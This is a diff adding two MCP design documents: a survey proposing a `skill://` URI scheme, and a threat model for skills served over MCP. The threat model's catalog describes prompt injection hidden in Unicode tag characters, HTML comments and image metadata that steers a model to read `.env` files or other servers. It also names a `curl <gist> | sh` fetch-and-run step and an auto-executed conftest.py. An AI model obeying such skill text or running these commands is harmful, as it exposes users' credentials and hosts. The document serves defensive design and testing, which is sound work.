### SEP-2076: Skills as a First-Class Primitive
|
||||
|
||||
[SEP-2076](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076) proposes `skills/list` and `skills/get` as protocol methods. The scoping principles and namespace convention in this document apply regardless of whether skills are exposed as resources or as protocol primitives — `_meta` is available on both.
|
||||
|
||||
## References
|
||||
|
||||
- [MCP Resources Specification (2025-11-25)](https://modelcontextprotocol.io/specification/2025-11-25/server/resources) — Resource schema, `annotations`, `_meta` field
|
||||
- [Agent Skills Specification](https://agentskills.io/specification) — Frontmatter field definitions
|
||||
- [Skill URI Scheme Proposal](skill-uri-scheme.md) — `skill://` URI convention
|
||||
- [SEP-2076: Skills as MCP Primitives](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076) — `skills/list` and `skills/get` proposal
|
||||
- [Registry `skills.json` Discussion](https://github.com/modelcontextprotocol/registry/discussions/895) — Registry-layer skill metadata
|
||||
- [agentskills#211: Open Frontmatter with Namespacing](https://github.com/agentskills/agentskills/issues/211) — Namespace convention for non-standard fields
|
||||
- [FastMCP Skills Support](https://gofastmcp.com/servers/providers/skills) — FastMCP 3.0 skills provider
|
||||
- [NimbleBrain Skills](https://github.com/NimbleBrainInc/skills) — Registry-integrated skill bundles
|
||||
363
docs/archive/skill-uri-scheme.md
Normal file
363
docs/archive/skill-uri-scheme.md
Normal file
|
|
@ -0,0 +1,363 @@
|
|||
# Skill URI Scheme Proposal
|
||||
|
||||
> Proposed convention for identifying skill resources over MCP.
|
||||
|
||||
**Issue:** [#44](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/44)
|
||||
**Status:** Incorporated into the draft [Skills Extension SEP](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/69), now submitted to the MCP spec as [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640). This survey informed the SEP's URI scheme design; see also [PR #70](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/70) for subsequent refinements (multi-segment paths, path-name decoupling).
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
This document surveys existing URI patterns for skill resources across implementations, analyzes their trade-offs, and proposes a recommended `skill://` URI scheme for skill resources over MCP.
|
||||
|
||||
## Survey of Existing Patterns
|
||||
|
||||
### 1. NimbleBrain: `skill://server-name/skill-name`
|
||||
|
||||
**Pattern:** `skill://{authority}/{path}`
|
||||
|
||||
NimbleBrain uses `skill://` URIs where the authority segment identifies the server or domain, and the path identifies the skill within that server.
|
||||
|
||||
```
|
||||
skill://ipinfo/usage
|
||||
```
|
||||
|
||||
Skills are registered as MCP resources using FastMCP's `@mcp.resource()` decorator. The server instructions direct the agent to read the skill resource before using tools:
|
||||
|
||||
```python
|
||||
mcp = FastMCP("IPInfo", instructions=(
|
||||
"Before using IPInfo tools, read the skill://ipinfo/usage resource "
|
||||
"for tool selection guidance and context reuse patterns."
|
||||
))
|
||||
|
||||
@mcp.resource("skill://ipinfo/usage")
|
||||
def ipinfo_skill() -> str:
|
||||
return SKILL_CONTENT
|
||||
```
|
||||
|
||||
**Discovery:** Via `resources/list` — skills appear alongside other resources.
|
||||
|
||||
**Pros:**
|
||||
- Clean, human-readable URIs
|
||||
- Authority segment naturally scopes skills to a server
|
||||
- Already deployed in production across multiple servers ([mcp-ipinfo](https://github.com/NimbleBrainInc/mcp-ipinfo), [mcp-webfetch](https://github.com/NimbleBrainInc/mcp-webfetch), [mcp-pdfco](https://github.com/NimbleBrainInc/mcp-pdfco), [mcp-folk](https://github.com/NimbleBrainInc/mcp-folk), [mcp-brave-search](https://github.com/NimbleBrainInc/mcp-brave-search))
|
||||
- Skills colocated with the tools they describe — versioned and shipped atomically
|
||||
- Ephemeral availability: context present while server is connected, gone when disconnected
|
||||
|
||||
**Cons:**
|
||||
- Authority segment usage varies across implementations (server name vs. skill name)
|
||||
- No versioning in the URI
|
||||
- No formal convention for sub-resources (references, scripts)
|
||||
- Departs from the Agent Skills spec model where a skill is a directory containing at least `SKILL.md` — skills are exposed as flat, opaque resources with no directory structure
|
||||
|
||||
### 2. skilljack-mcp: `skill://{skillName}` with directory collections
|
||||
|
||||
**Pattern:** `skill://{skillName}` (no authority)
|
||||
|
||||
Skilljack uses `skill://` URIs where the skill name is placed directly after the scheme, without an authority segment. It also defines a directory collection pattern using a trailing slash:
|
||||
|
||||
```
|
||||
skill://code-style # SKILL.md content
|
||||
skill://code-style/ # All files in skill directory (collection)
|
||||
skill://code-style/reference.md # Individual file (accessed via tool, not listed)
|
||||
```
|
||||
|
||||
**Discovery:** Via `resources/list` with resource templates (`skill://{skillName}`). Includes `_meta` annotations for skill metadata.
|
||||
|
||||
**Pros:**
|
||||
- Simple, minimal URIs for the common case
|
||||
- Directory collection pattern (`/`) efficiently bundles all files
|
||||
- Resource templates enable auto-completion via MCP's completion API
|
||||
- Separates listed resources from tool-accessible files to reduce noise
|
||||
|
||||
**Cons:**
|
||||
- No authority segment means no built-in scoping across multiple servers
|
||||
- Skill names must be globally unique within a client session
|
||||
- `SKILL.md` is implicit in the base URI (`skill://code-style`) — diverges from the Agent Skills spec directory model where `SKILL.md` is an explicit file within the skill directory
|
||||
|
||||
### 3. skills-over-mcp: `skill://{skillName}` with index and templates
|
||||
|
||||
**Pattern:** `skill://{skillName}` plus well-known index URIs
|
||||
|
||||
Keith Groves' implementation uses a richer set of `skill://` URIs including an index resource and lookup templates:
|
||||
|
||||
```
|
||||
skill://index # JSON listing all skills
|
||||
skill://prompt-xml # XML for system prompt injection
|
||||
skill://code-review # Skill SKILL.md content
|
||||
skill://code-review/documents # JSON list of supporting documents
|
||||
skill://code-review/document/SECURITY.md # Individual document
|
||||
skill://lookup/{name} # Dynamic lookup by name (template)
|
||||
```
|
||||
|
||||
**Discovery:** Via `skill://index` resource (returns JSON array of all skills with URIs) and `resources/list`.
|
||||
|
||||
**Pros:**
|
||||
- Index resource provides structured discovery separate from `resources/list`
|
||||
- Document sub-paths provide progressive disclosure
|
||||
- Resource templates with completion support enable dynamic lookup
|
||||
- XML prompt injection resource for system prompt integration
|
||||
|
||||
**Cons:**
|
||||
- Multiple overlapping discovery mechanisms (index + lookup template + resources/list)
|
||||
- More complex URI space to learn and implement
|
||||
- No authority segment
|
||||
- `SKILL.md` is implicit in the base URI (`skill://code-review`) — diverges from the Agent Skills spec directory model
|
||||
|
||||
### 4. FastMCP 3.0: `skill://{skillName}/SKILL.md` with manifest
|
||||
|
||||
**Pattern:** `skill://{skillName}/{filePath}`
|
||||
|
||||
FastMCP 3.0 uses a file-path-based URI structure where every file within a skill directory gets its own URI, including a synthetic manifest:
|
||||
|
||||
```
|
||||
skill://pdf-processing/SKILL.md # Main instruction file
|
||||
skill://pdf-processing/_manifest # Synthetic JSON manifest (sizes + SHA-256)
|
||||
skill://pdf-processing/reference.md # Supporting file
|
||||
skill://pdf-processing/examples/sample.pdf # Nested supporting file
|
||||
```
|
||||
|
||||
**Discovery:** Via `resources/list` (configurable disclosure level). Client utilities (`list_skills`, `download_skill`, `sync_skills`) provide higher-level access.
|
||||
|
||||
**Pros:**
|
||||
- File-path structure is intuitive and predictable
|
||||
- Most compatible with the Agent Skills spec model — URIs directly reflect the directory structure (`skill://name/SKILL.md`, `skill://name/references/...`)
|
||||
- Manifest with SHA-256 hashes enables integrity verification
|
||||
- Configurable disclosure: `"template"` (minimal listing) vs. `"resources"` (all files listed)
|
||||
- SDK-level utilities for listing, downloading, and syncing skills
|
||||
- Built-in providers for multiple skill directory conventions (Claude, Cursor, Codex, VS Code)
|
||||
|
||||
**Cons:**
|
||||
- `SKILL.md` is always explicit in the URI (more verbose for the common case)
|
||||
- File-path structure couples the URI to the internal directory layout
|
||||
- No authority segment for multi-server scoping
|
||||
|
||||
### 5. Agent Skills Discovery RFC: `/.well-known/skills/{name}/SKILL.md`
|
||||
|
||||
**Pattern:** HTTPS URLs under `/.well-known/skills/`
|
||||
|
||||
The Cloudflare RFC defines domain-level discovery via HTTP, not a custom URI scheme. Skills are regular HTTPS resources at well-known paths:
|
||||
|
||||
```
|
||||
https://example.com/.well-known/skills/index.json
|
||||
https://example.com/.well-known/skills/wrangler/SKILL.md
|
||||
https://example.com/.well-known/skills/wrangler/scripts/deploy.sh
|
||||
```
|
||||
|
||||
**Discovery:** Fetch `/.well-known/skills/index.json` which lists all skills with name, description, and file inventory.
|
||||
|
||||
**Pros:**
|
||||
- No custom URI scheme — uses standard HTTPS
|
||||
- Domain-level trust model (organizational identity)
|
||||
- Progressive disclosure built into the spec (3 levels)
|
||||
- File inventory in index enables prefetching and caching
|
||||
- Complementary to MCP (discovery and distribution vs. runtime consumption)
|
||||
|
||||
**Cons:**
|
||||
- Not an MCP resource URI scheme — designed for HTTP-level discovery
|
||||
- Requires organizations to host web endpoints
|
||||
- Not directly usable as an MCP resource URI
|
||||
|
||||
### 6. SEP-2076: `skills/list` and `skills/get`
|
||||
|
||||
**Pattern:** New protocol primitive, not URI-based
|
||||
|
||||
SEP-2076 proposes skills as a first-class MCP primitive with dedicated methods rather than a URI scheme:
|
||||
|
||||
```json
|
||||
// skills/list response
|
||||
{
|
||||
"skills": [{
|
||||
"name": "git-workflow",
|
||||
"description": "Follow team Git conventions",
|
||||
"tags": ["git", "workflow"]
|
||||
}]
|
||||
}
|
||||
|
||||
// skills/get request
|
||||
{ "name": "git-workflow" }
|
||||
```
|
||||
|
||||
**Discovery:** Via `skills/list` method (dedicated, not via `resources/list`).
|
||||
|
||||
**Pros:**
|
||||
- Clean separation from other resource types
|
||||
- Dedicated capability and notification support
|
||||
- No URI collision concerns
|
||||
|
||||
**Cons:**
|
||||
- Requires protocol-level changes (new methods, capabilities)
|
||||
- Adds a new primitive when resources may suffice
|
||||
- Not yet accepted into the MCP spec
|
||||
- Flattens skills to a name-addressed blob — does not model the Agent Skills spec's directory structure (skill as a directory containing `SKILL.md` plus optional supporting files)
|
||||
|
||||
## Comparison Matrix
|
||||
|
||||
| Pattern | URI Scheme | Authority | Versioning | Sub-resources | Templates | MCP-native |
|
||||
|---------|-----------|-----------|------------|---------------|-----------|------------|
|
||||
| NimbleBrain | `skill://` | Server name | No | No | No | Yes |
|
||||
| skilljack-mcp | `skill://` | None | No | `/` collection | Yes | Yes |
|
||||
| skills-over-mcp | `skill://` | None | No | `/document/` path | Yes | Yes |
|
||||
| FastMCP 3.0 | `skill://` | None | No | File paths | Configurable | Yes |
|
||||
| Well-Known RFC | `https://` | Domain | No | File paths | N/A | No |
|
||||
| SEP-2076 | N/A | N/A | N/A | N/A | N/A | New primitive |
|
||||
|
||||
## Analysis
|
||||
|
||||
### Points of Convergence
|
||||
|
||||
All MCP-native implementations have independently converged on `skill://` as the URI scheme. This is a strong signal — four independent implementations chose the same scheme without coordination.
|
||||
|
||||
The divergence is in URI structure, specifically:
|
||||
|
||||
1. **Authority segment**: NimbleBrain uses it (server name); all others omit it.
|
||||
2. **Path structure**: Ranges from minimal (`skill://name`) to file-path-based (`skill://name/SKILL.md`).
|
||||
3. **Sub-resource access**: Different patterns for accessing supporting files.
|
||||
4. **Discovery**: Some use `resources/list` alone; others add index resources or templates.
|
||||
|
||||
### Key Design Decisions
|
||||
|
||||
**1. What goes in the authority segment?**
|
||||
|
||||
In RFC 3986, the authority component (`scheme://authority/path`) is semantically a host identifier. A skill directory path is not a host. However, all four existing MCP implementations use the double-slash form, placing the first path segment in the authority position. While not semantically precise, this is established practice, produces clean URIs, and works well with MCP-aware parsers that don't need to resolve the authority as a network host.
|
||||
|
||||
**Recommendation:** Use the double-slash form (`skill://...`). The first segment of the skill path occupies the authority position by RFC 3986 mechanics but carries no special semantics under this convention — it is just the first path segment. Clients MUST NOT attempt DNS or network resolution of it. This avoids the awkward triple-slash (`skill:///`) form while staying honest about what the segment means.
|
||||
|
||||
**2. Should `SKILL.md` be explicit in the URI?**
|
||||
|
||||
FastMCP includes `SKILL.md` in every skill content URI. Other implementations treat the skill name itself as the content URI, with `SKILL.md` implicit.
|
||||
|
||||
Making `SKILL.md` explicit mirrors the directory structure and aligns with the Agent Skills spec, which defines a skill as a directory containing at least `SKILL.md`. Omitting it creates an abstraction that diverges from the spec and makes the relationship between the URI and the underlying skill format ambiguous.
|
||||
|
||||
**Recommendation:** `SKILL.md` MUST be explicit in the URI. The primary skill content is always at `skill://<skill-path>/SKILL.md`. This keeps the URI structure aligned with the Agent Skills spec and makes the directory model visible. Sub-resources are siblings at the same level (e.g., `skill://<skill-path>/references/GUIDE.md`).
|
||||
|
||||
**3. How should sub-resources (references, scripts) be addressed?**
|
||||
|
||||
Multiple patterns exist: trailing-slash collections (skilljack), `/document/` subpath (skills-over-mcp), direct file paths (FastMCP), and no sub-resource support (NimbleBrain).
|
||||
|
||||
**Recommendation:** Use path-based sub-resource addressing for consistency with other URI schemes.
|
||||
|
||||
**4. Should the URI path equal the skill name?**
|
||||
|
||||
Early drafts coupled the two: one path segment, equal to the frontmatter `name`. That works for a server with a handful of skills but fails when a server needs hierarchy. A large organization serving both `acme/billing/refunds` and `acme/support/refunds` cannot satisfy "single segment" and "segment equals name" simultaneously without renaming one skill to dodge the collision — which defeats the point of having a hierarchy. It also fails for servers with generated skill catalogs where the navigational axes (product, version, API surface) are orthogonal to what the skill is called.
|
||||
|
||||
**Recommendation:** Decouple. `<skill-path>` is a locator — one or more `/`-separated segments locating the skill directory within the server's namespace. The skill's identity (its `name`) lives in `SKILL.md` frontmatter and follows the Agent Skills spec naming rules. The URI says where to find it; the frontmatter says what it is.
|
||||
|
||||
## Proposed Convention
|
||||
|
||||
### URI Scheme: `skill://`
|
||||
|
||||
All skill resources MUST use the `skill://` URI scheme.
|
||||
|
||||
### URI Structure
|
||||
|
||||
```
|
||||
skill://<skill-path>/SKILL.md
|
||||
skill://<skill-path>/<file-path>
|
||||
```
|
||||
|
||||
Following [RFC 3986](https://datatracker.ietf.org/doc/html/rfc3986) structure:
|
||||
|
||||
- **Scheme:** `skill`
|
||||
- **Authority:** The first segment of `<skill-path>`. Carries no special semantics; clients MUST NOT resolve it as a network host.
|
||||
- **Path:** Remaining `<skill-path>` segments (if any) followed by `<file-path>`.
|
||||
|
||||
Where:
|
||||
|
||||
- `<skill-path>` is a `/`-separated path of one or more segments locating the skill directory within the server's namespace. MAY be a single segment (`git-workflow`) or nested to arbitrary depth (`acme/billing/refunds`). A `SKILL.md` MUST NOT appear in an ancestor directory of another `SKILL.md` — skills do not nest inside other skills.
|
||||
- `<file-path>` is the file's path relative to the skill directory root, always `SKILL.md` for the primary content.
|
||||
|
||||
### Naming Rules
|
||||
|
||||
`<skill-path>` segments SHOULD be valid URI path segments per RFC 3986. No further constraints are imposed on the path — it is the server's organizational choice.
|
||||
|
||||
The skill's `name` (in `SKILL.md` frontmatter) is governed by the [Agent Skills specification naming rules](https://agentskills.io/specification#name-field): 1–64 characters, lowercase alphanumeric and hyphens, no leading/trailing or consecutive hyphens. The path is not required to match it.
|
||||
|
||||
### URI Patterns
|
||||
|
||||
#### Flat skill path
|
||||
|
||||
```
|
||||
skill://git-workflow/SKILL.md
|
||||
```
|
||||
|
||||
Single-segment path. The primary skill content is always at `SKILL.md` within the skill's path, matching the Agent Skills spec directory model.
|
||||
|
||||
#### Nested skill path
|
||||
|
||||
```
|
||||
skill://acme/billing/refunds/SKILL.md
|
||||
```
|
||||
|
||||
Multi-segment path. The skill directory is `acme/billing/refunds`; `acme` and `billing` are organizational path segments, not skills. The frontmatter `name` inside this `SKILL.md` might be `refund-handling` — it is independent of the path.
|
||||
|
||||
#### Sub-resources
|
||||
|
||||
```
|
||||
skill://pdf-processing/SKILL.md # Primary skill content (required)
|
||||
skill://pdf-processing/references/FORMS.md # Supporting document
|
||||
skill://acme/billing/refunds/templates/email.md # Supporting file in nested skill
|
||||
```
|
||||
|
||||
Supporting files are addressed by appending their path relative to the skill directory.
|
||||
|
||||
#### Resource templates
|
||||
|
||||
```
|
||||
skill://docs/{product}/SKILL.md # Per-product documentation skills
|
||||
skill://acme/{domain}/{workflow}/SKILL.md # Nested organizational namespace
|
||||
skill://{skill_path}/{+file} # Generic: any file in any skill
|
||||
```
|
||||
|
||||
Servers MAY register resource templates with `skill://` URI templates. These are primarily a user-facing discovery mechanism: hosts surface them in the UI with template variables wired to MCP's completion API, letting users interactively browse and select skills.
|
||||
|
||||
### Examples
|
||||
|
||||
| Use Case | URI | Notes |
|
||||
|----------|-----|-------|
|
||||
| Flat path | `skill://git-workflow/SKILL.md` | Single-segment skill path |
|
||||
| Nested path | `skill://acme/billing/refunds/SKILL.md` | Path is locator; `name` is in frontmatter |
|
||||
| Supporting document | `skill://code-review/references/SECURITY.md` | Sub-resource within skill directory |
|
||||
| Supporting file, nested | `skill://acme/billing/refunds/templates/email.md` | Sub-resource in nested skill |
|
||||
|
||||
### How Clients Identify Skills
|
||||
|
||||
Clients can identify skill resources by:
|
||||
|
||||
1. **URI scheme:** Resources with URIs starting with `skill://` are skill resources.
|
||||
2. **Entry point:** A URI ending in `/SKILL.md` is the skill's entry point; stripping that suffix gives the skill directory.
|
||||
3. **MIME type:** `SKILL.md` content SHOULD use `text/markdown`.
|
||||
4. **Annotations:** Servers MAY use the `_meta` field for additional skill metadata.
|
||||
|
||||
Enumeration via `resources/list` is optional. A `skill://` URI is directly readable via `resources/read` whether or not it appears in any list; clients MUST NOT treat an empty or absent enumeration as proof that a server has no skills.
|
||||
|
||||
### MCP Spec Alignment
|
||||
|
||||
The `skill://` scheme is a custom URI scheme as permitted by the MCP specification:
|
||||
|
||||
> Custom URI schemes **MUST** be in accordance with [RFC 3986](https://datatracker.ietf.org/doc/html/rfc3986).
|
||||
|
||||
The proposed scheme follows RFC 3986 structure. It uses existing MCP primitives (`resources/list`, `resources/read`, resource templates, subscriptions) without requiring protocol changes.
|
||||
|
||||
### Versioning
|
||||
|
||||
Versioning in URIs (e.g., query parameters or path segments) is intentionally deferred. The current convention focuses on establishing the base URI structure. Skill versioning is implicitly tied to the server version — when a server updates, its skill content updates with it.
|
||||
|
||||
### Multi-Server URI Collision
|
||||
|
||||
Since MCP resources are scoped per-server, identical `skill://` URIs from different servers are distinguishable by their originating server connection. With decoupled paths, the same `<skill-path>` appearing on two servers is less likely than a `name` collision would have been, but still possible.
|
||||
|
||||
Clients SHOULD provide a `read_resource` tool that accepts both the server name and the skill resource URI, allowing the model to disambiguate which server's skill to read. Within a skill's `SKILL.md` body, references to sub-resources (e.g., `references/GUIDE.md`) are relative to the skill — similar to how file-based skills use relative paths today. The model can resolve these from context, knowing which server the skill originated from.
|
||||
|
||||
Servers MAY include provenance metadata in `_meta` to make origin explicit.
|
||||
|
||||
## References
|
||||
|
||||
- [MCP Resources specification](https://modelcontextprotocol.io/specification/2025-11-25/server/resources)
|
||||
- [RFC 3986: URIs](https://datatracker.ietf.org/doc/html/rfc3986)
|
||||
- [RFC 6570: URI Templates](https://datatracker.ietf.org/doc/html/rfc6570)
|
||||
- [Agent Skills specification](https://agentskills.io/specification)
|
||||
- [Agent Skills Discovery RFC](https://github.com/cloudflare/agent-skills-discovery-rfc)
|
||||
- [NimbleBrain skill:// findings](experimental-findings.md#nimblebrain-skill-resource-consolidation)
|
||||
- [Approach 6: Official Convention](approaches.md#6-official-convention-as-intermediate-step)
|
||||
283
docs/archive/threat-model.md
Normal file
283
docs/archive/threat-model.md
Normal file
|
|
@ -0,0 +1,283 @@
|
|||
# Threat Model: Skills Over MCP
|
||||
|
||||
> ⚠️ **Experimental** — This document models threats against skills served over MCP as specified in [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) *in its current form*: the revision on the canonical [`sep/skills-extension`](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640/files) branch, which supersedes the older [`docs/sep-draft-skills-extension.md`](sep-draft-skills-extension.md) working draft. That revision **replaced the `skill://index.json` resource with the `skills/list` and `skills/get` methods, added a per-file `resources` digest array covering the whole skill, and moved archive distribution to a deferred-features appendix.** It is a Working Group reference, not a normative part of the SEP. Where it recommends behavior beyond what SEP-2640 mandates, it says so.
|
||||
|
||||
## Scope
|
||||
|
||||
This threat model covers the **delivery and host-handling layer** for skills served over MCP: how a host discovers, fetches, verifies, materializes, and reads skill content from an MCP server, and what an adversary controlling that content (or the channel to it) can do. It is the security companion to SEP-2640's [Security Implications](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) section and to [open-questions.md §10](open-questions.md#10-how-should-skills-handle-security-and-trust-boundaries).
|
||||
|
||||
Out of scope:
|
||||
|
||||
- **The skill format itself.** YAML frontmatter fields, naming rules, and the progressive-disclosure model are delegated to the [Agent Skills specification](https://agentskills.io/specification) and governed there. This document treats a `SKILL.md` as an opaque instruction blob for the model.
|
||||
- **Confidentiality of the host's skill catalog.** Which skills a host enumerates, and the `name`/`description` metadata it surfaces, can leak organizational process. This came up in review as an enterprise concern. It is a property of the *host's* deployment (which servers it connects, what it exposes to whom) rather than of a malicious server attacking a host, so this document does not model it. Hosts handling sensitive catalogs should treat listing metadata as confidential at the transport and UI layers.
|
||||
|
||||
Throughout, "host" means the MCP client application that surfaces skills to a model, and normative keywords (MUST/SHOULD/MAY) are used in the RFC 2119 sense. Claims about required host behavior are grounded in the executable adversarial corpus at [`dangerous-skills-mcp`](https://github.com/olaservo/dangerous-skills-mcp): every fixture referenced below (`adv-*`) is a runnable test case with a documented oracle, deployed live at `https://olaservo-dangerous-skills-mcp.hf.space/mcp`. A few threats the current SEP revision introduced (cross-origin name-collision, directory-walk traversal, nested-skill consent) do not yet have a corpus fixture; those are flagged **(no corpus fixture yet)** and are proposed corpus additions.
|
||||
|
||||
## System and trust model
|
||||
|
||||
**Actors.**
|
||||
|
||||
- **Server** — the MCP server that serves `skill://` resources (or another scheme, enumerated the same way via `skills/list`). Authors the listing entries (`skills/list` / `skills/get`), the `SKILL.md` bytes, supporting files, and the per-file `resources` digests. May be malicious or compromised.
|
||||
- **Intermediary** — any gateway, proxy, or registry front that sits between host and server on an otherwise-authenticated MCP connection. Can rewrite the listing and the content it points at, together. May also attach provenance annotations under its own `_meta` prefix (see adversary #2).
|
||||
- **Host** — the client application. Trusted. Responsible for every mitigation in this document.
|
||||
- **Model** — the agent consuming skill instructions. Trusted to *decide* whether to follow a skill, but only if the host gives it the information (origin, provenance) to make that decision.
|
||||
|
||||
**Protocol surface.** SEP-2640 gives the host three server methods, all authored by the (possibly malicious) server. `skills/list` enumerates a server's skills as paginated entries, each carrying `frontmatter`, the `SKILL.md` `uri`, and the per-file `resources` digest set. `skills/get` returns that same entry for a single skill by URI, including skills absent from the listing, and is how the host refreshes one skill's digests. The optional `resources/directory/read` lists the direct children of a directory resource (metadata only) for scoped navigation of supporting files. Individual files are read with the base `resources/read`. Everything an adversary asserts (the entry, the digests, the child listing) rides these methods, and none of it is a trust signal on its own.
|
||||
|
||||
**Assets to protect.**
|
||||
|
||||
- The **host filesystem and the user's credentials** reachable from it (SSH keys, tokens, `~/.claude/CLAUDE.md`-style agent config).
|
||||
- The **integrity of the model's context** — what instructions reach the model, and whether the model can tell trusted context from untrusted skill content.
|
||||
- **Persisted user-approval state** — a "yes, load this skill" decision must not silently transfer to different content later.
|
||||
- **Origin integrity of the skill namespace** — a skill from one server (or the host's own filesystem) must not be silently shadowed, replaced, or impersonated by a same-named skill from a different origin.
|
||||
|
||||
**The core boundary: skill content is untrusted input.** A server being connected does not make its skill content authoritative.
|
||||
|
||||
As a consequence: **origin MUST be visible to the model** (an MCP-served skill MUST NOT be presented as indistinguishable from a local filesystem skill), and **skills are data, not directives** (a host MUST NOT treat skill resources as higher-authority than other context). Withholding origin from the model makes the untrusted-input rule unenforceable at the layer that acts on it. SEP-2640 makes both of these normative in its Security Implications ("Origin MUST be visible to the model"; "Skills are data, not directives").
|
||||
|
||||
## Adversary model
|
||||
|
||||
1. **Malicious or compromised server.** Authors both the listing (`skills/list` / `skills/get` entries, including the `resources` digest set) and the bytes. Can craft frontmatter that lies, rotate content between reads, serve oversized payloads, embed cross-origin read instructions, publish a skill under another origin's name, and return directory listings that point outside the skill's subtree. This is the primary adversary and most fixtures target it.
|
||||
2. **Rewriting intermediary.** Sits on the connection and rewrites listing and content together. This is why **digests are not a security boundary**: they are unsigned and supplied by the same origin as the content, so a match proves listing/content *consistency*, not trustworthiness. An intermediary that rewrites both stays consistent. Digests defend against transport *corruption* and enable caching and drift-detection, but not against the content author. SEP-2640 leaves room for an intermediary to attach *provenance or verification annotations* via `_meta` under its own reverse-domain prefix (not the reserved `io.modelcontextprotocol.skills/` prefix) while assigning them no semantics. See *Residual gaps and future directions* for how a signed third-party attestation could turn the digest into a real trust anchor.
|
||||
3. **Prompt-injection skill author.** Writes instructional text (or hides it in Unicode tag characters, HTML comments, or image metadata) designed to steer the model into actions the user did not intend — exfiltration, cross-server reads, or invoking host code-execution tools.
|
||||
|
||||
## Delivery models and the recommended baseline
|
||||
|
||||
SEP-2640's baseline is *direct readability*: a skill URI is always a valid argument to `resources/read`, and a host can load a skill given only its URI (turning that URI into the skill's metadata and per-file digests via `skills/get`). In practice a host consuming that baseline has two ways to actually stage a skill's files, and they have materially different risk profiles.
|
||||
|
||||
### `install` — materialize the verified skill to a host-private store (recommended baseline)
|
||||
|
||||
The host fetches the skill's files up front, verifies each one against its entry in the skill's `resources` digest set, and writes the verified tree to a **host-private location that is not within, and not writable via, any filesystem path exposed to MCP tools or to the model's execution environment**, keeping that tree **immutable for the cached skill's lifetime**. Every subsequent read of the skill is served from this store, not from the live server.
|
||||
|
||||
This is the recommended baseline because it closes three gaps structurally rather than per-read:
|
||||
|
||||
- **Digest-pin at fetch time.** The bytes the user approved are the bytes on disk; there is a single verification point, and because `resources` enumerates *every* file, the whole skill is pinned, not just `SKILL.md`.
|
||||
- **Immutability removes TOCTOU.** Content-rotation (`adv-content-rotation`) and live-read divergence (`adv-live-read-divergence`) attacks have no purchase, because there is no second live read to diverge.
|
||||
- **Cache isolation preserves the trust boundary.** Per SEP-2640's *Cache isolation and durable origin* requirement, installed bytes MUST be excluded from every filesystem-skill discovery path and MUST continue to count as MCP-origin content for the no-implicit-execution rule, including after host restart and after the server disconnects. Residing locally does not graduate them to filesystem-skill trust.
|
||||
|
||||
`install` still requires everything in the threat catalog below. It is not a substitute for prompt-injection defenses, origin tagging, or execution gating, and it removes the *integrity-over-time* class of attack while leaving the *content-is-untrusted* class untouched.
|
||||
|
||||
### `load-on-demand` — live `resources/read` per file (supported alternative, higher residual risk)
|
||||
|
||||
The host reads each skill file from the server as the model needs it. This is simpler and avoids a local cache, but it keeps the integrity window open for the whole session and carries residual risks a host MUST actively counter:
|
||||
|
||||
- **Content rotation** (`adv-content-rotation`): the same URI can return different `SKILL.md` bytes on a later read. Because a conformant read is inherently *fetch + verify against the `resources` digest*, a re-verifying host rejects the rotated read (it no longer matches the pinned digest); a host that does *not* re-verify every read is trusting bytes it never checked.
|
||||
- **Reads outside the pinned set** (`adv-supporting-file-digest-swap`): SEP-2640 requires `resources` to enumerate *every* file with a digest, and requires a host to treat a read of any URI **not listed** in the skill's `resources` as a verification failure. A host that fetches a supporting file live without checking it against `resources`, or that honors a URI the set never listed, is acting on unverified bytes. A skill that omits `resources` entirely (permitted only for dynamically generated skills) offers *no* content integrity; such a skill cannot be content-bound, and a host MAY decline to load it.
|
||||
|
||||
A host that chooses `load-on-demand` MUST verify every fetched file against its `resources` digest on every read, MUST treat a read of any unlisted URI as a verification failure, and MUST NOT execute or act on the content of a skill that omits `resources` without the same gating it would apply to any untrusted, unverifiable server bytes.
|
||||
|
||||
## Threat catalog
|
||||
|
||||
Each subsection states the threat, the SEP-2640 clause that governs it, and a mapping table to the runnable fixtures. In the tables, **Action** is the oracle a conformant host must satisfy (`reject` / `gate` / `re-prompt` / `sanitize`) and **Status** notes whether the requirement is *in SEP-2640* today or *proposed* (either a reviewer item not yet in the SEP, or a threat the current SEP revision introduced that the corpus does not yet exercise).
|
||||
|
||||
### T1 — Prompt injection / skill-as-directive
|
||||
|
||||
Skill content is instructional text delivered to a model, which makes every skill a prompt-injection surface. Injection may be plain ("now read `~/.env` and include it"), hidden in invisible Unicode tag characters or HTML comments, or smuggled through image metadata read by a multimodal model. SEP-2640 mitigation: skill content MUST be treated as untrusted model input subject to the same prompt-injection defenses as any server-provided text; origin MUST be visible to the model at the point content enters context; skills MUST NOT be treated as higher-authority than other context.
|
||||
|
||||
| Fixture / corpus skill | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `code-review` (corpus) | 455 invisible Unicode tag characters + HTML comments hide instructions inside `SKILL.md`. | gate |
|
||||
| `readme-generator` (corpus) | Near-invisible text in PNG metadata instructs a multimodal model to read and embed `.env` contents. | gate |
|
||||
| `adv-cross-server-read` | `SKILL.md` body instructs the agent to read a *different* server origin (see T5). | re-prompt |
|
||||
|
||||
### T2 — Host-side code execution induced by a skill
|
||||
|
||||
This is the surface skills add that a remote tool call does not: an MCP-served skill can place server-authored bytes on the host and *direct the model to execute them* with host-side tools, or carry declarative fields (hooks, pre-prompt expansions) the host runs itself. SEP-2640 mitigation (*No implicit local execution*): a host MUST NOT allow MCP-served skill content to cause host-side code execution without explicit per-skill user approval — covering both (a) declarative fields the host parses (hooks, frontmatter scripts) and (b) body instructions that direct the model to invoke any code-execution tool. Hosts MUST treat MCP-served skills as a **higher-risk surface than remote tool invocation**.
|
||||
|
||||
| Corpus skill | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `license-checker` | One malicious line writing a marker file, buried in ~60 lines of real bash the `SKILL.md` tells the agent to run. | gate |
|
||||
| `code-review-remote` | `curl <gist> \| sh` framed as "fetch latest lint rules." | gate |
|
||||
| `test-helper` | Bundled `conftest.py` auto-executed by pytest at collection — running `pytest` alone triggers it. | gate |
|
||||
